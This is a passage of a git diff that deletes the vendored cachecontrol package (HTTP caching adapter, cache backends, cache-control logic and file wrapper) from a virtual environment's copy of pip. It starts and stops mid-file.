-        DictCache(), cache_etags=True, serializer=None, heuristic=None
-    )
-    sess = requests.Session()
-    sess.mount("http://", adapter)
-    sess.mount("https://", adapter)
-
-    sess.cache_controller = adapter.controller  # type: ignore[attr-defined]
-    return sess
-
-
-def get_args() -> Namespace:
-    parser = ArgumentParser()
-    parser.add_argument("url", help="The URL to try and cache")
-    return parser.parse_args()
-
-
-def main() -> None:
-    args = get_args()
-    sess = get_session()
-
-    # Make a request to get a response
-    resp = sess.get(args.url)
-
-    # Turn on logging
-    setup_logging()
-
-    # try setting the cache
-    cache_controller: CacheController = (
-        sess.cache_controller  # type: ignore[attr-defined]
-    )
-    cache_controller.cache_response(resp.request, resp.raw)
-
-    # Now try to get it
-    if cache_controller.cached_request(resp.request):
-        print("Cached!")
-    else:
-        print("Not cached :(")
-
-
-if __name__ == "__main__":
-    main()
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/adapter.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/adapter.py
deleted file mode 100644
index 01f1253629e538b8abe56033a77c34ffbba2931e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/adapter.py
+++ /dev/null
@@ -1,167 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import functools
-import weakref
-import zlib
-from typing import TYPE_CHECKING, Any, Collection, Mapping
-
-from pip._vendor.requests.adapters import HTTPAdapter
-
-from pip._vendor.cachecontrol.cache import DictCache
-from pip._vendor.cachecontrol.controller import PERMANENT_REDIRECT_STATUSES, CacheController
-from pip._vendor.cachecontrol.filewrapper import CallbackFileWrapper
-
-if TYPE_CHECKING:
-    from pip._vendor.requests import PreparedRequest, Response
-    from pip._vendor.urllib3 import HTTPResponse
-
-    from pip._vendor.cachecontrol.cache import BaseCache
-    from pip._vendor.cachecontrol.heuristics import BaseHeuristic
-    from pip._vendor.cachecontrol.serialize import Serializer
-
-
-class CacheControlAdapter(HTTPAdapter):
-    invalidating_methods = {"PUT", "PATCH", "DELETE"}
-
-    def __init__(
-        self,
-        cache: BaseCache | None = None,
-        cache_etags: bool = True,
-        controller_class: type[CacheController] | None = None,
-        serializer: Serializer | None = None,
-        heuristic: BaseHeuristic | None = None,
-        cacheable_methods: Collection[str] | None = None,
-        *args: Any,
-        **kw: Any,
-    ) -> None:
-        super().__init__(*args, **kw)
-        self.cache = DictCache() if cache is None else cache
-        self.heuristic = heuristic
-        self.cacheable_methods = cacheable_methods or ("GET",)
-
-        controller_factory = controller_class or CacheController
-        self.controller = controller_factory(
-            self.cache, cache_etags=cache_etags, serializer=serializer
-        )
-
-    def send(
-        self,
-        request: PreparedRequest,
-        stream: bool = False,
-        timeout: None | float | tuple[float, float] | tuple[float, None] = None,
-        verify: bool | str = True,
-        cert: (None | bytes | str | tuple[bytes | str, bytes | str]) = None,
-        proxies: Mapping[str, str] | None = None,
-        cacheable_methods: Collection[str] | None = None,
-    ) -> Response:
-        """
-        Send a request. Use the request information to see if it
-        exists in the cache and cache the response if we need to and can.
-        """
-        cacheable = cacheable_methods or self.cacheable_methods
-        if request.method in cacheable:
-            try:
-                cached_response = self.controller.cached_request(request)
-            except zlib.error:
-                cached_response = None
-            if cached_response:
-                return self.build_response(request, cached_response, from_cache=True)
-
-            # check for etags and add headers if appropriate
-            request.headers.update(self.controller.conditional_headers(request))
-
-        resp = super().send(request, stream, timeout, verify, cert, proxies)
-
-        return resp
-
-    def build_response(  # type: ignore[override]
-        self,
-        request: PreparedRequest,
-        response: HTTPResponse,
-        from_cache: bool = False,
-        cacheable_methods: Collection[str] | None = None,
-    ) -> Response:
-        """
-        Build a response by making a request or using the cache.
-
-        This will end up calling send and returning a potentially
-        cached response
-        """
-        cacheable = cacheable_methods or self.cacheable_methods
-        if not from_cache and request.method in cacheable:
-            # Check for any heuristics that might update headers
-            # before trying to cache.
-            if self.heuristic:
-                response = self.heuristic.apply(response)
-
-            # apply any expiration heuristics
-            if response.status == 304:
-                # We must have sent an ETag request. This could mean
-                # that we've been expired already or that we simply
-                # have an etag. In either case, we want to try and
-                # update the cache if that is the case.
-                cached_response = self.controller.update_cached_response(
-                    request, response
-                )
-
-                if cached_response is not response:
-                    from_cache = True
-
-                # We are done with the server response, read a
-                # possible response body (compliant servers will
-                # not return one, but we cannot be 100% sure) and
-                # release the connection back to the pool.
-                response.read(decode_content=False)
-                response.release_conn()
-
-                response = cached_response
-
-            # We always cache the 301 responses
-            elif int(response.status) in PERMANENT_REDIRECT_STATUSES:
-                self.controller.cache_response(request, response)
-            else:
-                # Wrap the response file with a wrapper that will cache the
-                #   response when the stream has been consumed.
-                response._fp = CallbackFileWrapper(  # type: ignore[assignment]
-                    response._fp,  # type: ignore[arg-type]
-                    functools.partial(
-                        self.controller.cache_response, request, weakref.ref(response)
-                    ),
-                )
-                if response.chunked:
-                    super_update_chunk_length = response.__class__._update_chunk_length
-
-                    def _update_chunk_length(
-                        weak_self: weakref.ReferenceType[HTTPResponse],
-                    ) -> None:
-                        self = weak_self()
-                        if self is None:
-                            return
-
-                        super_update_chunk_length(self)
-                        if self.chunk_left == 0:
-                            self._fp._close()  # type: ignore[union-attr]
-
-                    response._update_chunk_length = functools.partial(  # type: ignore[method-assign]
-                        _update_chunk_length, weakref.ref(response)
-                    )
-
-        resp: Response = super().build_response(request, response)
-
-        # See if we should invalidate the cache.
-        if request.method in self.invalidating_methods and resp.ok:
-            assert request.url is not None
-            cache_url = self.controller.cache_url(request.url)
-            self.cache.delete(cache_url)
-
-        # Give the request a from_cache attr to let people use it
-        resp.from_cache = from_cache  # type: ignore[attr-defined]
-
-        return resp
-
-    def close(self) -> None:
-        self.cache.close()
-        super().close()  # type: ignore[no-untyped-call]
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/cache.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/cache.py
deleted file mode 100644
index 91598e92034fa4f70353fbf7c9c19dc9558e320b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/cache.py
+++ /dev/null
@@ -1,75 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-
-"""
-The cache object API for implementing caches. The default is a thread
-safe in-memory dictionary.
-"""
-
-from __future__ import annotations
-
-from threading import Lock
-from typing import IO, TYPE_CHECKING, MutableMapping
-
-if TYPE_CHECKING:
-    from datetime import datetime
-
-
-class BaseCache:
-    def get(self, key: str) -> bytes | None:
-        raise NotImplementedError()
-
-    def set(
-        self, key: str, value: bytes, expires: int | datetime | None = None
-    ) -> None:
-        raise NotImplementedError()
-
-    def delete(self, key: str) -> None:
-        raise NotImplementedError()
-
-    def close(self) -> None:
-        pass
-
-
-class DictCache(BaseCache):
-    def __init__(self, init_dict: MutableMapping[str, bytes] | None = None) -> None:
-        self.lock = Lock()
-        self.data = init_dict or {}
-
-    def get(self, key: str) -> bytes | None:
-        return self.data.get(key, None)
-
-    def set(
-        self, key: str, value: bytes, expires: int | datetime | None = None
-    ) -> None:
-        with self.lock:
-            self.data.update({key: value})
-
-    def delete(self, key: str) -> None:
-        with self.lock:
-            if key in self.data:
-                self.data.pop(key)
-
-
-class SeparateBodyBaseCache(BaseCache):
-    """
-    In this variant, the body is not stored mixed in with the metadata, but is
-    passed in (as a bytes-like object) in a separate call to ``set_body()``.
-
-    That is, the expected interaction pattern is::
-
-        cache.set(key, serialized_metadata)
-        cache.set_body(key)
-
-    Similarly, the body should be loaded separately via ``get_body()``.
-    """
-
-    def set_body(self, key: str, body: bytes) -> None:
-        raise NotImplementedError()
-
-    def get_body(self, key: str) -> IO[bytes] | None:
-        """
-        Return the body as file-like object.
-        """
-        raise NotImplementedError()
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/__init__.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/__init__.py
deleted file mode 100644
index 24ff469ff98baf5a4457ba6a34330be310058cb4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/__init__.py
+++ /dev/null
@@ -1,8 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-
-from pip._vendor.cachecontrol.caches.file_cache import FileCache, SeparateBodyFileCache
-from pip._vendor.cachecontrol.caches.redis_cache import RedisCache
-
-__all__ = ["FileCache", "SeparateBodyFileCache", "RedisCache"]
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py
deleted file mode 100644
index 45c632c7f72700c72e60651acb1e09c836ef2c31..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/file_cache.py
+++ /dev/null
@@ -1,145 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import hashlib
-import os
-import tempfile
-from textwrap import dedent
-from typing import IO, TYPE_CHECKING
-from pathlib import Path
-
-from pip._vendor.cachecontrol.cache import BaseCache, SeparateBodyBaseCache
-from pip._vendor.cachecontrol.controller import CacheController
-
-if TYPE_CHECKING:
-    from datetime import datetime
-
-    from filelock import BaseFileLock
-
-
-class _FileCacheMixin:
-    """Shared implementation for both FileCache variants."""
-
-    def __init__(
-        self,
-        directory: str | Path,
-        forever: bool = False,
-        filemode: int = 0o0600,
-        dirmode: int = 0o0700,
-        lock_class: type[BaseFileLock] | None = None,
-    ) -> None:
-        try:
-            if lock_class is None:
-                from filelock import FileLock
-
-                lock_class = FileLock
-        except ImportError:
-            notice = dedent(
-                """
-            NOTE: In order to use the FileCache you must have
-            filelock installed. You can install it via pip:
-              pip install cachecontrol[filecache]
-            """
-            )
-            raise ImportError(notice)
-
-        self.directory = directory
-        self.forever = forever
-        self.filemode = filemode
-        self.dirmode = dirmode
-        self.lock_class = lock_class
-
-    @staticmethod
-    def encode(x: str) -> str:
-        return hashlib.sha224(x.encode()).hexdigest()
-
-    def _fn(self, name: str) -> str:
-        # NOTE: This method should not change as some may depend on it.
-        #       See: https://github.com/ionrock/cachecontrol/issues/63
-        hashed = self.encode(name)
-        parts = list(hashed[:5]) + [hashed]
-        return os.path.join(self.directory, *parts)
-
-    def get(self, key: str) -> bytes | None:
-        name = self._fn(key)
-        try:
-            with open(name, "rb") as fh:
-                return fh.read()
-
-        except FileNotFoundError:
-            return None
-
-    def set(
-        self, key: str, value: bytes, expires: int | datetime | None = None
-    ) -> None:
-        name = self._fn(key)
-        self._write(name, value)
-
-    def _write(self, path: str, data: bytes) -> None:
-        """
-        Safely write the data to the given path.
-        """
-        # Make sure the directory exists
-        dirname = os.path.dirname(path)
-        os.makedirs(dirname, self.dirmode, exist_ok=True)
-
-        with self.lock_class(path + ".lock"):
-            # Write our actual file
-            (fd, name) = tempfile.mkstemp(dir=dirname)
-            try:
-                os.write(fd, data)
-            finally:
-                os.close(fd)
-            os.chmod(name, self.filemode)
-            os.replace(name, path)
-
-    def _delete(self, key: str, suffix: str) -> None:
-        name = self._fn(key) + suffix
-        if not self.forever:
-            try:
-                os.remove(name)
-            except FileNotFoundError:
-                pass
-
-
-class FileCache(_FileCacheMixin, BaseCache):
-    """
-    Traditional FileCache: body is stored in memory, so not suitable for large
-    downloads.
-    """
-
-    def delete(self, key: str) -> None:
-        self._delete(key, "")
-
-
-class SeparateBodyFileCache(_FileCacheMixin, SeparateBodyBaseCache):
-    """
-    Memory-efficient FileCache: body is stored in a separate file, reducing
-    peak memory usage.
-    """
-
-    def get_body(self, key: str) -> IO[bytes] | None:
-        name = self._fn(key) + ".body"
-        try:
-            return open(name, "rb")
-        except FileNotFoundError:
-            return None
-
-    def set_body(self, key: str, body: bytes) -> None:
-        name = self._fn(key) + ".body"
-        self._write(name, body)
-
-    def delete(self, key: str) -> None:
-        self._delete(key, "")
-        self._delete(key, ".body")
-
-
-def url_to_file_path(url: str, filecache: FileCache) -> str:
-    """Return the file cache path based on the URL.
-
-    This does not ensure the file exists!
-    """
-    key = CacheController.cache_url(url)
-    return filecache._fn(key)
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.py
deleted file mode 100644
index f4f68c47bf6e82b3faea0bd558852585f5f50a81..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/caches/redis_cache.py
+++ /dev/null
@@ -1,48 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-
-from datetime import datetime, timezone
-from typing import TYPE_CHECKING
-
-from pip._vendor.cachecontrol.cache import BaseCache
-
-if TYPE_CHECKING:
-    from redis import Redis
-
-
-class RedisCache(BaseCache):
-    def __init__(self, conn: Redis[bytes]) -> None:
-        self.conn = conn
-
-    def get(self, key: str) -> bytes | None:
-        return self.conn.get(key)
-
-    def set(
-        self, key: str, value: bytes, expires: int | datetime | None = None
-    ) -> None:
-        if not expires:
-            self.conn.set(key, value)
-        elif isinstance(expires, datetime):
-            now_utc = datetime.now(timezone.utc)
-            if expires.tzinfo is None:
-                now_utc = now_utc.replace(tzinfo=None)
-            delta = expires - now_utc
-            self.conn.setex(key, int(delta.total_seconds()), value)
-        else:
-            self.conn.setex(key, expires, value)
-
-    def delete(self, key: str) -> None:
-        self.conn.delete(key)
-
-    def clear(self) -> None:
-        """Helper for clearing all the keys in a database. Use with
-        caution!"""
-        for key in self.conn.keys():
-            self.conn.delete(key)
-
-    def close(self) -> None:
-        """Redis uses connection pooling, no need to close the connection."""
-        pass
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/controller.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/controller.py
deleted file mode 100644
index 0bf380136aea0e32c90fe5a07c8f4991d3ba990f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/controller.py
+++ /dev/null
@@ -1,511 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-
-"""
-The httplib2 algorithms ported for use with requests.
-"""
-
-from __future__ import annotations
-
-import calendar
-import logging
-import re
-import time
-import weakref
-from email.utils import parsedate_tz
-from typing import TYPE_CHECKING, Collection, Mapping
-
-from pip._vendor.requests.structures import CaseInsensitiveDict
-
-from pip._vendor.cachecontrol.cache import DictCache, SeparateBodyBaseCache
-from pip._vendor.cachecontrol.serialize import Serializer
-
-if TYPE_CHECKING:
-    from typing import Literal
-
-    from pip._vendor.requests import PreparedRequest
-    from pip._vendor.urllib3 import HTTPResponse
-
-    from pip._vendor.cachecontrol.cache import BaseCache
-
-logger = logging.getLogger(__name__)
-
-URI = re.compile(r"^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?")
-
-PERMANENT_REDIRECT_STATUSES = (301, 308)
-
-
-def parse_uri(uri: str) -> tuple[str, str, str, str, str]:
-    """Parses a URI using the regex given in Appendix B of RFC 3986.
-
-    (scheme, authority, path, query, fragment) = parse_uri(uri)
-    """
-    match = URI.match(uri)
-    assert match is not None
-    groups = match.groups()
-    return (groups[1], groups[3], groups[4], groups[6], groups[8])
-
-
-class CacheController:
-    """An interface to see if request should cached or not."""
-
-    def __init__(
-        self,
-        cache: BaseCache | None = None,
-        cache_etags: bool = True,
-        serializer: Serializer | None = None,
-        status_codes: Collection[int] | None = None,
-    ):
-        self.cache = DictCache() if cache is None else cache
-        self.cache_etags = cache_etags
-        self.serializer = serializer or Serializer()
-        self.cacheable_status_codes = status_codes or (200, 203, 300, 301, 308)
-
-    @classmethod
-    def _urlnorm(cls, uri: str) -> str:
-        """Normalize the URL to create a safe key for the cache"""
-        (scheme, authority, path, query, fragment) = parse_uri(uri)
-        if not scheme or not authority:
-            raise Exception("Only absolute URIs are allowed. uri = %s" % uri)
-
-        scheme = scheme.lower()
-        authority = authority.lower()
-
-        if not path:
-            path = "/"
-
-        # Could do syntax based normalization of the URI before
-        # computing the digest. See Section 6.2.2 of Std 66.
-        request_uri = query and "?".join([path, query]) or path
-        defrag_uri = scheme + "://" + authority + request_uri
-
-        return defrag_uri
-
-    @classmethod
-    def cache_url(cls, uri: str) -> str:
-        return cls._urlnorm(uri)
-
-    def parse_cache_control(self, headers: Mapping[str, str]) -> dict[str, int | None]:
-        known_directives = {
-            # https://tools.ietf.org/html/rfc7234#section-5.2
-            "max-age": (int, True),
-            "max-stale": (int, False),
-            "min-fresh": (int, True),
-            "no-cache": (None, False),
-            "no-store": (None, False),
-            "no-transform": (None, False),
-            "only-if-cached": (None, False),
-            "must-revalidate": (None, False),
-            "public": (None, False),
-            "private": (None, False),
-            "proxy-revalidate": (None, False),
-            "s-maxage": (int, True),
-        }
-
-        cc_headers = headers.get("cache-control", headers.get("Cache-Control", ""))
-
-        retval: dict[str, int | None] = {}
-
-        for cc_directive in cc_headers.split(","):
-            if not cc_directive.strip():
-                continue
-
-            parts = cc_directive.split("=", 1)
-            directive = parts[0].strip()
-
-            try:
-                typ, required = known_directives[directive]
-            except KeyError:
-                logger.debug("Ignoring unknown cache-control directive: %s", directive)
-                continue
-
-            if not typ or not required:
-                retval[directive] = None
-            if typ:
-                try:
-                    retval[directive] = typ(parts[1].strip())
-                except IndexError:
-                    if required:
-                        logger.debug(
-                            "Missing value for cache-control " "directive: %s",
-                            directive,
-                        )
-                except ValueError:
-                    logger.debug(
-                        "Invalid value for cache-control directive " "%s, must be %s",
-                        directive,
-                        typ.__name__,
-                    )
-
-        return retval
-
-    def _load_from_cache(self, request: PreparedRequest) -> HTTPResponse | None:
-        """
-        Load a cached response, or return None if it's not available.
-        """
-        # We do not support caching of partial content: so if the request contains a
-        # Range header then we don't want to load anything from the cache.
-        if "Range" in request.headers:
-            return None
-
-        cache_url = request.url
-        assert cache_url is not None
-        cache_data = self.cache.get(cache_url)
-        if cache_data is None:
-            logger.debug("No cache entry available")
-            return None
-
-        if isinstance(self.cache, SeparateBodyBaseCache):
-            body_file = self.cache.get_body(cache_url)
-        else:
-            body_file = None
-
-        result = self.serializer.loads(request, cache_data, body_file)
-        if result is None:
-            logger.warning("Cache entry deserialization failed, entry ignored")
-        return result
-
-    def cached_request(self, request: PreparedRequest) -> HTTPResponse | Literal[False]:
-        """
-        Return a cached response if it exists in the cache, otherwise
-        return False.
-        """
-        assert request.url is not None
-        cache_url = self.cache_url(request.url)
-        logger.debug('Looking up "%s" in the cache', cache_url)
-        cc = self.parse_cache_control(request.headers)
-
-        # Bail out if the request insists on fresh data
-        if "no-cache" in cc:
-            logger.debug('Request header has "no-cache", cache bypassed')
-            return False
-
-        if "max-age" in cc and cc["max-age"] == 0:
-            logger.debug('Request header has "max_age" as 0, cache bypassed')
-            return False
-
-        # Check whether we can load the response from the cache:
-        resp = self._load_from_cache(request)
-        if not resp:
-            return False
-
-        # If we have a cached permanent redirect, return it immediately. We
-        # don't need to test our response for other headers b/c it is
-        # intrinsically "cacheable" as it is Permanent.
-        #
-        # See:
-        #   https://tools.ietf.org/html/rfc7231#section-6.4.2
-        #
-        # Client can try to refresh the value by repeating the request
-        # with cache busting headers as usual (ie no-cache).
-        if int(resp.status) in PERMANENT_REDIRECT_STATUSES:
-            msg = (
-                "Returning cached permanent redirect response "
-                "(ignoring date and etag information)"
-            )
-            logger.debug(msg)
-            return resp
-
-        headers: CaseInsensitiveDict[str] = CaseInsensitiveDict(resp.headers)
-        if not headers or "date" not in headers:
-            if "etag" not in headers:
-                # Without date or etag, the cached response can never be used
-                # and should be deleted.
-                logger.debug("Purging cached response: no date or etag")
-                self.cache.delete(cache_url)
-            logger.debug("Ignoring cached response: no date")
-            return False
-
-        now = time.time()
-        time_tuple = parsedate_tz(headers["date"])
-        assert time_tuple is not None
-        date = calendar.timegm(time_tuple[:6])
-        current_age = max(0, now - date)
-        logger.debug("Current age based on date: %i", current_age)
-
-        # TODO: There is an assumption that the result will be a
-        #       urllib3 response object. This may not be best since we
-        #       could probably avoid instantiating or constructing the
-        #       response until we know we need it.
-        resp_cc = self.parse_cache_control(headers)
-
-        # determine freshness
-        freshness_lifetime = 0
-
-        # Check the max-age pragma in the cache control header
-        max_age = resp_cc.get("max-age")
-        if max_age is not None:
-            freshness_lifetime = max_age
-            logger.debug("Freshness lifetime from max-age: %i", freshness_lifetime)
-
-        # If there isn't a max-age, check for an expires header
-        elif "expires" in headers:
-            expires = parsedate_tz(headers["expires"])
-            if expires is not None:
-                expire_time = calendar.timegm(expires[:6]) - date
-                freshness_lifetime = max(0, expire_time)
-                logger.debug("Freshness lifetime from expires: %i", freshness_lifetime)
-
-        # Determine if we are setting freshness limit in the
-        # request. Note, this overrides what was in the response.
-        max_age = cc.get("max-age")
-        if max_age is not None:
-            freshness_lifetime = max_age
-            logger.debug(
-                "Freshness lifetime from request max-age: %i", freshness_lifetime
-            )
-
-        min_fresh = cc.get("min-fresh")
-        if min_fresh is not None:
-            # adjust our current age by our min fresh
-            current_age += min_fresh
-            logger.debug("Adjusted current age from min-fresh: %i", current_age)
-
-        # Return entry if it is fresh enough
-        if freshness_lifetime > current_age:
-            logger.debug('The response is "fresh", returning cached response')
-            logger.debug("%i > %i", freshness_lifetime, current_age)
-            return resp
-
-        # we're not fresh. If we don't have an Etag, clear it out
-        if "etag" not in headers:
-            logger.debug('The cached response is "stale" with no etag, purging')
-            self.cache.delete(cache_url)
-
-        # return the original handler
-        return False
-
-    def conditional_headers(self, request: PreparedRequest) -> dict[str, str]:
-        resp = self._load_from_cache(request)
-        new_headers = {}
-
-        if resp:
-            headers: CaseInsensitiveDict[str] = CaseInsensitiveDict(resp.headers)
-
-            if "etag" in headers:
-                new_headers["If-None-Match"] = headers["ETag"]
-
-            if "last-modified" in headers:
-                new_headers["If-Modified-Since"] = headers["Last-Modified"]
-
-        return new_headers
-
-    def _cache_set(
-        self,
-        cache_url: str,
-        request: PreparedRequest,
-        response: HTTPResponse,
-        body: bytes | None = None,
-        expires_time: int | None = None,
-    ) -> None:
-        """
-        Store the data in the cache.
-        """
-        if isinstance(self.cache, SeparateBodyBaseCache):
-            # We pass in the body separately; just put a placeholder empty
-            # string in the metadata.
-            self.cache.set(
-                cache_url,
-                self.serializer.dumps(request, response, b""),
-                expires=expires_time,
-            )
-            # body is None can happen when, for example, we're only updating
-            # headers, as is the case in update_cached_response().
-            if body is not None:
-                self.cache.set_body(cache_url, body)
-        else:
-            self.cache.set(
-                cache_url,
-                self.serializer.dumps(request, response, body),
-                expires=expires_time,
-            )
-
-    def cache_response(
-        self,
-        request: PreparedRequest,
-        response_or_ref: HTTPResponse | weakref.ReferenceType[HTTPResponse],
-        body: bytes | None = None,
-        status_codes: Collection[int] | None = None,
-    ) -> None:
-        """
-        Algorithm for caching requests.
-
-        This assumes a requests Response object.
-        """
-        if isinstance(response_or_ref, weakref.ReferenceType):
-            response = response_or_ref()
-            if response is None:
-                # The weakref can be None only in case the user used streamed request
-                # and did not consume or close it, and holds no reference to requests.Response.
-                # In such case, we don't want to cache the response.
-                return
-        else:
-            response = response_or_ref
-
-        # From httplib2: Don't cache 206's since we aren't going to
-        #                handle byte range requests
-        cacheable_status_codes = status_codes or self.cacheable_status_codes
-        if response.status not in cacheable_status_codes:
-            logger.debug(
-                "Status code %s not in %s", response.status, cacheable_status_codes
-            )
-            return
-
-        response_headers: CaseInsensitiveDict[str] = CaseInsensitiveDict(
-            response.headers
-        )
-
-        if "date" in response_headers:
-            time_tuple = parsedate_tz(response_headers["date"])
-            assert time_tuple is not None
-            date = calendar.timegm(time_tuple[:6])
-        else:
-            date = 0
-
-        # If we've been given a body, our response has a Content-Length, that
-        # Content-Length is valid then we can check to see if the body we've
-        # been given matches the expected size, and if it doesn't we'll just
-        # skip trying to cache it.
-        if (
-            body is not None
-            and "content-length" in response_headers
-            and response_headers["content-length"].isdigit()
-            and int(response_headers["content-length"]) != len(body)
-        ):
-            return
-
-        cc_req = self.parse_cache_control(request.headers)
-        cc = self.parse_cache_control(response_headers)
-
-        assert request.url is not None
-        cache_url = self.cache_url(request.url)
-        logger.debug('Updating cache with response from "%s"', cache_url)
-
-        # Delete it from the cache if we happen to have it stored there
-        no_store = False
-        if "no-store" in cc:
-            no_store = True
-            logger.debug('Response header has "no-store"')
-        if "no-store" in cc_req:
-            no_store = True
-            logger.debug('Request header has "no-store"')
-        if no_store and self.cache.get(cache_url):
-            logger.debug('Purging existing cache entry to honor "no-store"')
-            self.cache.delete(cache_url)
-        if no_store:
-            return
-
-        # https://tools.ietf.org/html/rfc7234#section-4.1:
-        # A Vary header field-value of "*" always fails to match.
-        # Storing such a response leads to a deserialization warning
-        # during cache lookup and is not allowed to ever be served,
-        # so storing it can be avoided.
-        if "*" in response_headers.get("vary", ""):
-            logger.debug('Response header has "Vary: *"')
-            return
-
-        # If we've been given an etag, then keep the response
-        if self.cache_etags and "etag" in response_headers:
-            expires_time = 0
-            if response_headers.get("expires"):
-                expires = parsedate_tz(response_headers["expires"])
-                if expires is not None:
-                    expires_time = calendar.timegm(expires[:6]) - date
-
-            expires_time = max(expires_time, 14 * 86400)
-
-            logger.debug(f"etag object cached for {expires_time} seconds")
-            logger.debug("Caching due to etag")
-            self._cache_set(cache_url, request, response, body, expires_time)
-
-        # Add to the cache any permanent redirects. We do this before looking
-        # that the Date headers.
-        elif int(response.status) in PERMANENT_REDIRECT_STATUSES:
-            logger.debug("Caching permanent redirect")
-            self._cache_set(cache_url, request, response, b"")
-
-        # Add to the cache if the response headers demand it. If there
-        # is no date header then we can't do anything about expiring
-        # the cache.
-        elif "date" in response_headers:
-            time_tuple = parsedate_tz(response_headers["date"])
-            assert time_tuple is not None
-            date = calendar.timegm(time_tuple[:6])
-            # cache when there is a max-age > 0
-            max_age = cc.get("max-age")
-            if max_age is not None and max_age > 0:
-                logger.debug("Caching b/c date exists and max-age > 0")
-                expires_time = max_age
-                self._cache_set(
-                    cache_url,
-                    request,
-                    response,
-                    body,
-                    expires_time,
-                )
-
-            # If the request can expire, it means we should cache it
-            # in the meantime.
-            elif "expires" in response_headers:
-                if response_headers["expires"]:
-                    expires = parsedate_tz(response_headers["expires"])
-                    if expires is not None:
-                        expires_time = calendar.timegm(expires[:6]) - date
-                    else:
-                        expires_time = None
-
-                    logger.debug(
-                        "Caching b/c of expires header. expires in {} seconds".format(
-                            expires_time
-                        )
-                    )
-                    self._cache_set(
-                        cache_url,
-                        request,
-                        response,
-                        body,
-                        expires_time,
-                    )
-
-    def update_cached_response(
-        self, request: PreparedRequest, response: HTTPResponse
-    ) -> HTTPResponse:
-        """On a 304 we will get a new set of headers that we want to
-        update our cached value with, assuming we have one.
-
-        This should only ever be called when we've sent an ETag and
-        gotten a 304 as the response.
-        """
-        assert request.url is not None
-        cache_url = self.cache_url(request.url)
-        cached_response = self._load_from_cache(request)
-
-        if not cached_response:
-            # we didn't have a cached response
-            return response
-
-        # Lets update our headers with the headers from the new request:
-        # http://tools.ietf.org/html/draft-ietf-httpbis-p4-conditional-26#section-4.1
-        #
-        # The server isn't supposed to send headers that would make
-        # the cached body invalid. But... just in case, we'll be sure
-        # to strip out ones we know that might be problematic due to
-        # typical assumptions.
-        excluded_headers = ["content-length"]
-
-        cached_response.headers.update(
-            {
-                k: v
-                for k, v in response.headers.items()
-                if k.lower() not in excluded_headers
-            }
-        )
-
-        # we want a 200 b/c we have content via the cache
-        cached_response.status = 200
-
-        # update our cache
-        self._cache_set(cache_url, request, cached_response)
-
-        return cached_response
diff --git a/venv/Lib/site-packages/pip/_vendor/cachecontrol/filewrapper.py b/venv/Lib/site-packages/pip/_vendor/cachecontrol/filewrapper.py
deleted file mode 100644
index 6569fb5cd88d922c67acc18bd8b32275f8ad2645..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/cachecontrol/filewrapper.py
+++ /dev/null
@@ -1,121 +0,0 @@
-# SPDX-FileCopyrightText: 2015 Eric Larson
-#
-# SPDX-License-Identifier: Apache-2.0
-from __future__ import annotations
-
-import mmap
-from tempfile import NamedTemporaryFile
-from typing import TYPE_CHECKING, Any, Callable
-
-if TYPE_CHECKING:
-    from collections.abc import Buffer
-    from http.client import HTTPResponse
-
-
-class CallbackFileWrapper:
-    """
-    Small wrapper around a fp object which will tee everything read into a
-    buffer, and when that file is closed it will execute a callback with the
-    contents of that buffer.
-
-    All attributes are proxied to the underlying file object.
-
-    This class uses members with a double underscore (__) leading prefix so as
-    not to accidentally shadow an attribute.
-
-    The data is stored in a temporary file until it is all available.  As long
-    as the temporary files directory is disk-based (sometimes it's a
-    memory-backed-``tmpfs`` on Linux), data will be unloaded to disk if memory
-    pressure is high.  For small files the disk usually won't be used at all,
-    it'll all be in the filesystem memory cache, so there should be no
-    performance impact.
-    """
-
-    def __init__(
-        self, fp: HTTPResponse, callback: Callable[[Buffer], None] | None
-    ) -> None:
-        self.__buf = NamedTemporaryFile("rb+", delete=True)
-        self.__fp = fp
-        self.__callback = callback
-
-    def __getattr__(self, name: str) -> Any:
-        # The vagaries of garbage collection means that self.__fp is
-        # not always set.  By using __getattribute__ and the private
-        # name[0] allows looking up the attribute value and raising an
-        # AttributeError when it doesn't exist. This stop things from
-        # infinitely recursing calls to getattr in the case where
-        # self.__fp hasn't been set.
-        #
-        # [0] https://docs.python.org/2/reference/expressions.html#atom-identifiers
-        fp = self.__getattribute__("_CallbackFileWrapper__fp")
-        return getattr(fp, name)
-
-    def __is_fp_closed(self) -> bool:
-        try:
-            return self.__fp.fp is None
-
